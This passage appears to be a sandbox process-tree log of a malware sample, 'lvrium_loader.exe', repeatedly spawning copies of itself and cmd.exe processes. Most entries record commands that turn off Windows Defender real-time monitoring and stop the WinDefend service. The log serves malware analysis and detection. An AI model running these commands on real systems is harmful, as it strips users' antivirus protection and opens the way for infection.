        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        136⤵
        
        PID:10512
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        137⤵
        
        PID:10564
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        138⤵
        
        PID:10604
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        139⤵
        
        PID:10660
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        140⤵
        
        PID:10692
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        141⤵
        
        PID:10772
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        142⤵
        
        PID:10804
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        143⤵
        
        PID:10868
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        144⤵
        
        PID:10884
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        145⤵
        
        PID:10968
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        146⤵
        
        PID:10980
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        147⤵
        
        PID:11076
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        148⤵
        
        PID:11104
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        149⤵
        
        PID:11180
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        150⤵
        
        PID:11208
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        151⤵
        
        PID:10484
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        152⤵
        
        PID:10628
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        153⤵
        
        PID:10944
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        154⤵
        
        PID:11288
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        155⤵
        
        PID:11376
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        156⤵
        
        PID:11416
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        157⤵
        
        PID:11484
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        158⤵
        
        PID:11520
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        159⤵
        
        PID:11576
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        160⤵
        
        PID:11604
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        161⤵
        
        PID:11680
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        162⤵
        
        PID:11728
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        163⤵
        
        PID:11804
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        164⤵
        
        PID:11832
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        165⤵
        
        PID:11900
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        166⤵
        
        PID:11932
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        167⤵
        
        PID:12016
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        168⤵
        
        PID:12048
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        169⤵
        
        PID:12112
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        170⤵
        
        PID:12140
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        171⤵
        
        PID:12216
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        172⤵
        
        PID:12240
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        173⤵
        
        PID:11428
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        174⤵
        
        PID:11628
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        175⤵
        
        PID:11848
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        176⤵
        
        PID:12316
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        177⤵
        
        PID:12396
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        178⤵
        
        PID:12420
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        179⤵
        
        PID:12492
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        180⤵
        
        PID:12524
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        181⤵
        
        PID:12604
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        182⤵
        
        PID:12640
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        183⤵
        
        PID:12700
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        184⤵
        
        PID:12712
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        185⤵
        
        PID:12816
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        186⤵
        
        PID:12844
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        187⤵
        
        PID:12992
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        188⤵
        
        PID:13024
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        189⤵
        
        PID:13220
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        190⤵
        
        PID:13276
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        191⤵
        
        PID:13384
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        192⤵
        
        PID:13428
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        193⤵
        
        PID:13636
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        194⤵
        
        PID:13664
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        195⤵
        
        PID:13924
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        196⤵
        
        PID:13976
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        197⤵
        
        PID:12552
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        198⤵
        
        PID:14144
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        199⤵
        
        PID:15152
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        200⤵
        
        PID:15240
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        201⤵
        
        PID:15696
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        202⤵
        
        PID:15896
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        203⤵
        
        PID:18796
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        204⤵
        
        PID:19028
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        205⤵
        
        PID:23840
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        206⤵
        
        PID:25108
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        200⤵
        
        PID:28692
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        192⤵
        
        PID:28332
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        190⤵
        
        PID:28020
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        182⤵
        
        PID:26656
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        180⤵
        
        PID:26580
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        178⤵
        
        PID:26432
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        176⤵
        
        PID:26276
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        174⤵
        
        PID:26232
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        172⤵
        
        PID:26056
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        170⤵
        
        PID:25920
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        168⤵
        
        PID:25800
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        166⤵
        
        PID:25664
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        164⤵
        
        PID:25196
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        162⤵
        
        PID:25500
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        160⤵
        
        PID:25288
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        158⤵
        
        PID:25132
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        156⤵
        
        PID:24916
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        154⤵
        
        PID:24820
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        152⤵
        
        PID:24708
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        150⤵
        
        PID:24608
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        148⤵
        
        PID:23964
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        146⤵
        
        PID:24396
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        144⤵
        
        PID:24048
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        142⤵
        
        PID:23912
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        143⤵
        
        PID:30892
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        140⤵
        
        PID:23740
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        138⤵
        
        PID:23596
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        139⤵
        
        PID:31224
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        136⤵
        
        PID:23468
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        137⤵
        
        PID:30916
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        134⤵
        
        PID:23252
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        135⤵
        
        PID:31240
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        132⤵
        
        PID:22888
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        133⤵
        
        PID:27988
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        126⤵
        
        PID:21948
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        124⤵
        
        PID:21416
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        125⤵
        
        PID:30552
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        122⤵
        
        PID:22404
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        123⤵
        
        PID:30004
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        120⤵
        
        PID:22192
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        118⤵
        
        PID:22100
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        116⤵
        
        PID:21988
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        114⤵
        
        PID:21928
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        112⤵
        
        PID:21628
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        110⤵
        
        PID:21276
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        108⤵
        
        PID:21432
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        106⤵
        
        PID:21340
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        104⤵
        
        PID:21220
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        102⤵
        
        PID:21032
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        100⤵
        
        PID:20736
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        98⤵
        
        PID:20664
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        96⤵
        
        PID:20688
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        94⤵
        
        PID:20448
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        92⤵
        
        PID:20380
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        90⤵
        
        PID:20068
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        91⤵
        
        PID:26004
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        88⤵
        
        PID:19892
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        86⤵
        
        PID:19788
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        87⤵
        
        PID:26192
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        84⤵
        
        PID:19580
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        82⤵
        
        PID:19516
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        83⤵
        
        PID:25996
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        84⤵
        
        PID:26368
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        85⤵
        
        PID:28568
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        86⤵
        
        PID:31084
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        80⤵
        
        PID:19312
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        81⤵
        
        PID:25300
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        82⤵
        
        PID:24064
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        78⤵
        
        PID:19176
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        79⤵
        
        PID:23680
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        80⤵
        
        PID:24632
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        76⤵
        
        PID:19004
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        77⤵
        
        PID:24284
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        78⤵
        
        PID:23276
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        74⤵
        
        PID:18928
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        75⤵
        
        PID:24276
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        76⤵
        
        PID:22984
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        72⤵
        
        PID:18672
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        73⤵
        
        PID:23160
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        74⤵
        
        PID:23488
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        75⤵
        
        PID:30860
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        70⤵
        
        PID:18564
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        71⤵
        
        PID:24232
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        72⤵
        
        PID:24776
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        68⤵
        
        PID:18440
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        69⤵
        
        PID:23096
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        70⤵
        
        PID:22416
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        66⤵
        
        PID:18312
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        67⤵
        
        PID:22924
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        68⤵
        
        PID:23448
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        64⤵
        
        PID:18248
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        65⤵
        
        PID:23120
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        66⤵
        
        PID:24092
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        67⤵
        
        PID:28284
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        62⤵
        
        PID:18096
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        63⤵
        
        PID:22592
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        64⤵
        
        PID:23052
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        65⤵
        
        PID:31192
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        60⤵
        
        PID:17968
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        61⤵
        
        PID:20800
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        62⤵
        
        PID:22640
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        63⤵
        
        PID:30352
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        58⤵
        
        PID:17780
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        59⤵
        
        PID:21804
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        60⤵
        
        PID:22200
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        56⤵
        
        PID:17652
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        57⤵
        
        PID:21816
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        58⤵
        
        PID:22140
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        59⤵
        
        PID:29988
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        54⤵
        
        PID:17464
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        55⤵
        
